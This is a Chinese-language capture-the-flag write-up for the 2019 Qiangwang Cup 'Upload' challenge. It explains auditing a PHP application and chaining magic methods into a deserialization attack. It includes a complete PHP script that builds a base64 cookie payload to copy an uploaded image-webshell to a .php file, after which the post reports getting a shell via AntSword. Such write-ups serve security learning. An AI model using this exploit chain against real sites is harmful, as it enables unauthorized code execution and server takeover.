[强网杯 2019]Upload

在这里插入图片描述
有个注册,注册进去看看
在这里插入图片描述
根据题目意思,文件上传
发现用/.绕过,
在这里插入图片描述
发现他会更改你的图片的名字,并且转换成png格式
可是文件最后的名字我们并不能控制,emmmmmm

在这里插入图片描述
抓包发现cookie是一段base64
在这里插入图片描述
解出来发现是一段反序列化
在这里插入图片描述
发现img有我们的图片,尝试目录穿越
在这里插入图片描述
在这里插入图片描述
毛用没有,那既然是序列化,那就想到反序列化漏洞

由此找到思路,一般反序列化都是需要看源码,那就扫目录看看
在这里插入图片描述
dirsearch 扫到备份目录
接下来就是代码审计
一坨源码,emmmm
就说说关键点吧
在这里插入图片描述
主要文件是这几个
看到Profile这个文件,主要是文件上传
在这里插入图片描述
发现这部分引用了一个新类,并且这个类在该文件没有找到
最终发现在index.php这里
在这里插入图片描述
说明上传之前会检查一遍账号信息
接着看Profile.php
在这里插入图片描述
看到这个函数
在这里插入图片描述
会进行一次检查

看到下面有两个魔术方法

在这里插入图片描述
关键就在怎么触发这两个魔术方法

当对象调用不可访问属性时,就会自动触发get魔法方法
在对象调用不可访问函数时,就会自动触发call魔法方法。

看到register.php 这里
在这里插入图片描述
发现有个__destruct()魔术方法,
在这里插入图片描述
上面这两输出可控,我们可以让checker这个属性为Profile类
然后就会调用Profile类里的index()函数,那么就会触发__call魔术方法
在这里插入图片描述
name是不可访问函数的名字
arguments是参数,为空
而当使用this->index,就是访问一个不可访问的属性,然后触发__get()魔术方法

在这里插入图片描述
而except这个参数我们可以控制,并且他访问了索引name,说明他是一个数组
在这里插入图片描述
接着就是让except变成啥样
我们再回过头来看上传的部分

在这里插入图片描述
只要我们第一次上传文件,那么empty($_FILES)就会为1,那么就会绕过下面那个png检查,直接跳过,进入下一个if

在这里插入图片描述
我们让ext等于1即可进入
filename我们可控,由此
可以通过这个来将我们的webshell复制到filename里去
要触发这个东西我们需要调用
upload_img这个方法
而调用upload_img刚好可以通过上面那两个魔术方法调用
整个POP链大概是这样
在这里插入图片描述
让A类访问一个不可访问的函数,触发__call,在通过call里访问不可访问的属性触发__get,然后调用upload_Img方法
接着要找一个反序列化函数,那让POP链成功执行
在这里插入图片描述
发现index.php里会反序列化cookie,由此通过这个来进行我们的pop链

将图片马上传过去
在这里插入图片描述
找路径
在这里插入图片描述
将路径放到exp中

<?php
namespace app\web\controller;

class Register{
    public $checker;
    public $registed =0;//目的是过destruct里的if;
}
class Profile{
    public $checker =0 ;//目的是绕过index类的检查,防止退出程序
    public $filename_tmp="./upload/adeee0c170ad4ffb110df0cde294aecd/00bf23e130fa1e525e332ff03dae345d.png";
	public $upload_menu;
    public $filename="upload/penson.php";
    public $ext=1;//目的是过if来调用复制webshell
	public $img;
    public $except=array("index"=>"upload_img");//目的是通过__get()魔术方法调用upload_Img函数
}

$a = new Register();
$a->checker = new Profile();//目的是调用POP链
$a->checker->checker=0//调用pop链防止退出程序

echo base64_encode(serialize($a));

将得到的payload放到cookie里去
在这里插入图片描述
改完后刷新主页
在这里插入图片描述
不要担心,这个时候我们的图片马已经放上去了
访问我们图片马
在这里插入图片描述
成功getshell
蚁剑连接即可

  • 6
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值